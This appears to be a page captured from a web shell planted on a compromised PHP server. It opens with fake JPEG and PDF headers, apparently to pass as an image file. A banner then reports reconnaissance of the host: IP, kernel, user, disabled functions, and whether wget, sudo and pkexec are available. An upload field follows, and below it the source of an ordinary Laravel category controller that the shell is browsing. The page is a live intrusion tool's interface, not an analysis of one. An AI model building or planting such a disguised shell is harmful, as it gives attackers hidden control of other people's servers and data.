ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 157.90.209.209 / Your IP : 216.73.216.129 [ Web Server : Apache System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64 User : evidenciarevista ( 1049) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Domains : 216 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/evidenciarevista/admin/app/Http/Controllers/Category/ |
Upload File : |
<?php namespace Evidencia\Http\Controllers\Category; use Evidencia\Category; use Evidencia\Fatima\Upload; use Illuminate\Support\Facades\Storage; use Evidencia\Http\Controllers\Controller; use Evidencia\Http\Requests; use Illuminate\Http\Request; class CategoryController extends Controller { private $category; private $upload; public function __construct(Category $category, Upload $upload) { $this->category = $category; $this->upload = $upload; } public function index() { $categories = $this->category->orderBy('name', 'ASC')->get(); return view('pages.categorias.index', compact('categories')); } public function store(Request $request) { $this->validate($request, ['name' => 'required|min:3']); $this->category->create($request->all()); return redirect()->route('category.index')->with('ok', 'Dados cadastrados com sucesso!'); } public function update($id, Request $request) { $this->validate($request, ['name' => 'required|min:3']); $this->category->find($id)->update($request->all()); return redirect()->route('category.index')->with('ok', 'Dados atualizados com sucesso!'); } public function updateFoto(Request $request, $id) { if ($request->get('oldPic') != null) { Storage::disk('local_upload_category')->delete($request->get('oldPic')); //local_upload_category } $file = $request->file('file'); $resize = $this->upload->makeResize($file, 900, 'uploads/category'); $this->category->find($id)->update(['file' => $resize]); return redirect()->back()->with('ok', 'Imagem atualizada com sucesso!'); } }